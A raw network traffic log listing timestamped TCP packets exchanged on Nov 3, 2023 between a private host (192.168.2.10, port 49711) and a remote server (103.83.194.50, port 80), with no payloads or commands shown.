Nov 3, 2023 18:53:42.987420082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987468004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987482071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987483978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987509012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987539053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987555027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987565041 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987612009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987634897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987684011 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987709999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987759113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987771988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987818956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987843037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987879992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987899065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987921953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987922907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987971067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987983942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988029003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988033056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988076925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988089085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988137007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988148928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988193989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988197088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988221884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988239050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988284111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988310099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988327026 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988359928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988384962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988387108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988430023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988455057 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988502026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988516092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988562107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988588095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988627911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988650084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988689899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988704920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988749027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988763094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988796949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988810062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988836050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988843918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988871098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988886118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988929033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.988950968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988979101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.988997936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989022970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989025116 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989072084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989098072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989115000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989161015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989176035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989217997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989274979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989284992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989324093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989327908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989375114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989401102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989444971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989454985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989490986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989516973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989567995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989586115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989634037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989712954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989763975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989767075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989814043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989835978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989877939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989891052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989918947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989928007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.989960909 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.989963055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990006924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990015984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990060091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990088940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990130901 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990169048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990212917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990216970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990257978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990268946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990312099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990325928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990367889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990394115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990439892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990468025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990509987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990524054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990566015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990576029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990591049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990617037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990628958 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990655899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990700960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990710974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990757942 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990783930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990824938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990839958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990883112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990894079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990936995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.990953922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990981102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.990998030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991027117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991053104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991097927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991122007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991137028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991164923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991173983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991209030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991255045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991281033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991322994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991349936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991393089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991405964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991451025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991451979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991493940 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991519928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991560936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991569042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991610050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991630077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991672993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991691113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991731882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991748095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991791010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991796017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991841078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991864920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991909027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991935015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.991980076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.991993904 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992036104 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992062092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992129087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992139101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992157936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992186069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992198944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992229939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992269993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992275953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992320061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992342949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992387056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992409945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992440939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992455006 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992480993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992482901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992523909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992552042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992594957 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992621899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992661953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992686033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992703915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992731094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992744923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992758989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992799997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992826939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992854118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992866993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992887974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992893934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992949963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.992954969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.992996931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993078947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993119955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993140936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993182898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993210077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993254900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993268967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993308067 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993310928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993349075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993436098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993485928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993508101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993549109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993575096 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993616104 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993638992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993679047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993693113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993736982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993757010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993813992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993813992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993861914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993872881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993918896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.993947983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.993999004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994013071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994061947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994082928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994102955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994121075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994168997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994195938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994244099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994271040 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994324923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994338989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994383097 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994385004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994425058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994456053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994498968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994509935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994524956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994559050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994597912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994642973 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994648933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994689941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994715929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994766951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994785070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994827986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994851112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994893074 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994913101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994941950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.994955063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.994983912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.995011091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.995038986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.995069981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.995096922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.995098114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.995143890 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.995168924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.995219946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.995223045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.995271921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.084197998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255146980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255345106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255507946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255575895 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255588055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255657911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255662918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255718946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255738974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255790949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255832911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255881071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255908012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.255958080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.255984068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.256038904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.256337881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.256387949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.256405115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.256453991 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.256479979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.256526947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.256927967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.256978035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257009029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257061005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257082939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257134914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257158995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257205009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257231951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257288933 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257327080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257383108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257410049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257461071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257502079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257548094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257571936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257616043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257653952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257700920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257728100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257774115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257797003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257841110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257901907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.257946968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.257971048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258018970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258059025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258100986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258130074 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258176088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258203983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258249044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258270979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258320093 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258347988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258393049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258471966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258522034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258549929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258594990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258668900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258716106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258805037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.258860111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258877993 CET	80	49711	103.83.194.50	192.168.2.10
